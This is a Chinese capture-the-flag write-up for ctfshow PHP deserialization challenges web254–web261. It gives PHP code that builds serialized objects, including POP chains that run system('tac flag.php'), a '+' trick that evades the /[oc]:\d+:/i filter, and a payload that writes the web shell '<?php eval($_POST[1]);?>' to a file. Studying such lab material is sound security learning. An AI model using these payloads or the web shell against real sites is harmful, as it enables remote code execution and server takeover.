ctfshow php反序列化
web254

这道题考察属性的赋值,要求传入的username、password和ctfshowuser类的username、password相等,这里的账户密码已经写出来了,直接传参拿flag

web255

和上一道题差不多,但它没有自己去new一个ctfShowUser对象,而是让user等于cookie传参的反序列化,所以我们要把ctfShowUser先进行序列化,这里要手动把vip赋值为1

得到payload
O:11:"ctfShowUser":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:1;}然后记得url编码一下防止被截断

web256

这道题和上一道题大体相似,但这里要求username和password不能一致,那我们序列化的时候手动或改一下就行了

得到payload
O:11:"ctfShowUser":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:5:"xxxxx";s:5:"isVip";b:1;}再url编码一下

web257

很基础的一个pop链,这里我们在构建时先把$isVip的值自己变成true,然后再把类中实例化的对象变成可利用的类,最后把backdoor类里的code变成想执行的代码
<?php
class ctfShowUser{
private $isVip=true;
private $class;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $code="system('tac flag.php');";
}
$user=new ctfShowUser();
$a=serialize($user);
echo urlencode($a);得到payload
O%3A11%3A%22ctfShowUser%22%3A2%3A%7Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A1%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D
web258

和上一题差不多,但这道题的属性全变回了public而且多了正则表达式/[oc]:\d+:/i
正则表达式拆解:
[oc]:匹配字母o或者c。::匹配一个英文冒号。\d+:匹配一个或多个数字(\d代表数字,+代表至少出现一次)。::再匹配一个英文冒号。i(最后的修饰符):代表不区分大小写(Case-insensitive)。也就是说,大写的O、C和小写的o、c都会被匹配。
但这个正则是必须全部连在一起都匹配上了才会返回1,就比如单个O,是不会被匹配上的,必须O:11:这样的格式才会被匹配,那我们修改上一题的payload,然后在O后面的数字前加上+就行了
<?php
class ctfShowUser{
public $isVip=true;
public $class;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code="system('tac flag.php');";
}
$user=new ctfShowUser();
$a=serialize($user);
echo $a;
echo urlencode($a);得到payload
O%3A%2B11%3A%22ctfShowUser%22%3A2%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D
web260

这道题只要求序列化后含有ctfshow_i_love_36D就行
<?php
$a='ctfshow_i_love_36D';
var_dump(serialize($a));会得到

所以我们直接传ctfshow_i_love_36D进去就行了(不一定只有对象才能序列化)

web261

在 PHP 7.4 版本引入了一个新机制:如果一个类里面定义了 __unserialize() 这个魔术方法,PHP 的反序列化引擎就会改变它原本的工作流。
- 以前的旧流程(如果有
__wakeup): PHP 把字符串里的属性一个一个强行塞进对象里,然后调用__wakeup()让你醒醒。 - 现在的新流程(有了
__unserialize): PHP 解析你的序列化字符串,把它里面包含的属性名和属性值,自动打包成一个关联数组(Array)。然后,PHP 会把这个组装好的数组,直接作为参数传给__unserialize($data)里的$data。
举个具体的例子
假设你构造了这样一个普通的序列化字符串(随便举的例子): O:10:"ctfshowvip":2:{s:8:"username";s:5:"admin";s:8:"password";s:4:"1234";}
当 PHP 处理这串数据时,它发现类里有 __unserialize(),它就会在底层做这样一步转换: 把大括号里的内容变成一个数组:
PHP
$data = [
'username' => 'admin',
'password' => '1234'
];紧接着,PHP 就会自动帮你执行: $this->__unserialize($data);
此时,代码里的 $data['username'] 拿到的就是 'admin',$data['password'] 拿到的就是 '1234'。
在php7.4版本之后,当类里同时存在__wakeup和__unserialize时,会跳过__wakeup
这道题的__invoke是无法利用的,我们要用file_put_contents写入文件
这里用的是==的弱比较,0x36d是877,所以只要是877.abc这类都能被比较,因为它会从左往右提取到不是数字的位置,然后再利用前面的数字进行比较,所以我们构造代码
<?php
class ctfshowvip{
public $username='877.php';
public $password='<?php eval($_POST[1]);?>';
}
$user = new ctfshowvip();
$a = serialize($user);
echo urlencode($a);得到payload
O%3A10%3A%22ctfshowvip%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7D
